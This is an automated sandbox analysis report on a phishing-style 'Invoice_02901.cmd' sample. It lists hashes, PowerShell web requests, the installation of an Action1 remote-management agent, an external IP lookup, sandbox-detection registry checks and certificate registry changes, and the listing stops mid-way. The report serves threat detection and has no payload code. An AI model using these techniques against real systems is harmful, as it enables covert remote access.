Analysis
- max time kernel
298s - max time network
300s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
11/05/2026, 09:23
Static task
static1
Behavioral task
behavioral1
Sample
Remittance/Invoice_02901.cmd
Resource
win10v2004-20260130-en
windows10-2004-x64
26 signatures
300 seconds
Behavioral task
behavioral2
Sample
Remittance/Invoice_02901.cmd
Resource
win11-20260130-en
windows11-21h2-x64
28 signatures
300 seconds
Behavioral task
behavioral3
Sample
Remittance/Statement.cmd
Resource
win10v2004-20260130-en
windows10-2004-x64
27 signatures
300 seconds
Behavioral task
behavioral4
Sample
Remittance/Statement.cmd
Resource
win11-20260130-en
windows11-21h2-x64
28 signatures
300 seconds
General
- Target Remittance/Invoice_02901.cmd
- Size 1KB
- Sample260511-lcfevsd19s
- SHA256 e954616c5b469baf4350b1fe43803cb91c9b8dc35a3a90a4a4e1f8e7d729b007
- MD5 bb9dae4911183126b57542b83651cb4c
- SHA1 4f711c6d3bd62c252e0fc9d5b7e70639e3644643
- SHA512 1a94d25d1950c2c28c3104b7a89d9d118b46febcc487992556c9d9fe7fc9293b4da83dcbc1219ee70a01d29f4134e800093a19d6b8989091c5d77aa9db2820e9
- TLSH T1513100E12465381DDA279A50C80A03B2E7C26711CB013ADFB0E8E194BE057D5CBC7D8D
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- Badlisted process makes network request 9 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 2 2376 powershell.exe 13 3224 msiexec.exe 14 3224 msiexec.exe 15 3224 msiexec.exe 19 4316 powershell.exe 20 4316 powershell.exe 21 4316 powershell.exe 24 2584 powershell.exe 26 2584 powershell.exe - Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs
Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.
description ioc Process Key created \REGISTRY\USER\S-1-5-21-650218026-1419908266-2856590055-1000\Software\Microsoft\Active Setup\Installed Components explorer.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 44 IoCs
Powershell Invoke Web Request.
pid Process 2376 powershell.exe 2376 powershell.exe 3532 powershell.exe 812 powershell.exe 4568 powershell.exe 6136 powershell.exe 4316 powershell.exe 3756 powershell.exe 2984 powershell.exe 3188 powershell.exe 1836 powershell.exe 3976 powershell.exe 5888 powershell.exe 2044 powershell.exe 2796 powershell.exe 4780 powershell.exe 1696 powershell.exe 748 powershell.exe 580 powershell.exe 4428 powershell.exe 4868 powershell.exe 5076 powershell.exe 3896 powershell.exe 4896 powershell.exe 5388 powershell.exe 5704 powershell.exe 2732 powershell.exe 4084 powershell.exe 4764 powershell.exe 5264 powershell.exe 820 powershell.exe 4088 powershell.exe 4648 powershell.exe 5248 powershell.exe 2564 powershell.exe 2612 powershell.exe 4856 powershell.exe 5544 powershell.exe 2376 powershell.exe 5872 powershell.exe 124 powershell.exe 2584 powershell.exe 3140 powershell.exe 5320 powershell.exe - Executes dropped EXE 4 IoCs
pid Process 3972 action1_agent.exe 3688 action1_agent.exe 5516 action1_agent.exe 4320 action1_agent.exe - Loads dropped DLL 4 IoCs
pid Process 4084 MsiExec.exe 4084 MsiExec.exe 4084 MsiExec.exe 5912 MsiExec.exe - Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
- Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\D: explorer.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\F: explorer.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\G: msiexec.exe File opened (read-only) \??\I: msiexec.exe - Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 ifconfig.me 26 ifconfig.me - Drops file in System32 directory 44 IoCs
description ioc Process File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Action1\7971f918-a847-4430-9279-4a52d1efe18d powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Drops file in Windows directory 41 IoCs
description ioc Process File created C:\Windows\SystemTemp\~DF427FD8E9EE127E56.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI5FFE.tmp msiexec.exe File created C:\Windows\Action1\sas.dll msiexec.exe File created C:\Windows\Action1\what_is_this.txt action1_agent.exe File created C:\Windows\Action1\agent_downgrade.version_pair.tmp action1_agent.exe File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File created C:\Windows\Action1\action1_agent.exe.update_state action1_agent.exe File created C:\Windows\Installer\{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}\ProductIcon msiexec.exe File created C:\Windows\Action1\advanced_settings.json.tmp action1_agent.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\SourceHash{A7C9C264-EAE3-44C5-83B2-E581E7FB8569} msiexec.exe File created C:\Windows\Installer\e585b01.msi msiexec.exe File created C:\Windows\SystemTemp\~DFFA4D1CB547F70102.TMP msiexec.exe File created C:\Windows\Action1\rule_data\1000.suppress action1_agent.exe File opened for modification C:\Windows\Installer\e585afc.msi msiexec.exe File created C:\Windows\Action1\action1_remote.exe msiexec.exe File opened for modification C:\Windows\Installer\MSI6235.tmp msiexec.exe File created C:\Windows\Action1\action1_agent.exe.instance_lock action1_agent.exe File created C:\Windows\SystemTemp\~DF3456213BD72AC582.TMP msiexec.exe File created C:\Windows\Action1\datasource_data\1000.poll.tmp action1_agent.exe File created C:\Windows\Action1\action1_agent.exe msiexec.exe File created C:\Windows\Action1\action1_agent.exe.connection action1_agent.exe File created C:\Windows\Action1\schedule.json action1_agent.exe File created C:\Windows\Action1\previousUser.txt powershell.exe File opened for modification C:\Windows\SystemTemp\Tmp51B1.tmp powershell.exe File opened for modification C:\Windows\Installer\MSI5F32.tmp msiexec.exe File created C:\Windows\SystemTemp\~DF9E89ADFF02D2ED35.TMP msiexec.exe File opened for modification C:\Windows\Installer\MSI601E.tmp msiexec.exe File opened for modification C:\Windows\Installer\MSI606E.tmp msiexec.exe File created C:\Windows\Action1\7z.dll msiexec.exe File opened for modification C:\Windows\Installer\{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}\ProductIcon msiexec.exe File opened for modification C:\Windows\SystemTemp\Tmp51B0.tmp powershell.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSI61D6.tmp msiexec.exe File created C:\Windows\Action1\first_install.tmp action1_agent.exe File created C:\Windows\Action1\rules.json action1_agent.exe File created C:\Windows\Installer\wix{A7C9C264-EAE3-44C5-83B2-E581E7FB8569}.SchedServiceConfig.rmi MsiExec.exe File opened for modification C:\Windows\Action1\logs\action1_log_2026-05-11_10-23-32~3972.log action1_agent.exe File created C:\Windows\Action1\datasource_data\1008.poll.tmp action1_agent.exe File created C:\Windows\Action1\rule_data\1008.suppress action1_agent.exe File created C:\Windows\Installer\e585afc.msi msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 6 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language MsiExec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language action1_agent.exe - Checks SCSI registry key(s) 3 TTPs 58 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Capabilities explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\FriendlyName explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Capabilities explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\005A explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0002 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\HardwareID explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\ConfigFlags explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{a45c254e-df1c-4efd-8020-67d146a850e0}\0011 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{afd97640-86a3-4210-b67c-289c41aabe55}\0003 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000001\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0004 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{259abffc-50a7-47ce-af08-68c9a7d73366}\000C explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{cf73bb51-3abf-44a2-85e0-9a3dc7a12132}\0006 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{8c7ed206-3f8a-4827-b3ab-ae9e1faefc6c}\0002 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Msft&Prod_Virtual_DVD-ROM\2&1f4adffe&0&000002\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_DADY&Prod_HL-DT-ST_DVD+-RW\4&215468a5&0&010000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\007A explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{51236583-0c4a-4fe8-b81f-166aec13f510}\0064 explorer.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Capabilities explorer.exe - Enumerates system info in registry 2 TTPs 2 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS SearchHost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU SearchHost.exe - Kills process with taskkill 1 IoCs
pid Process 4416 taskkill.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MrtCache\C:%5CProgram Files%5CWindowsApps%5CMicrosoft.WindowsCalculator_10.2012.21.0_x64__8wekyb3d8bbwe%5Cresources.pri\1d75a17b214a2d1 action1_agent.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs 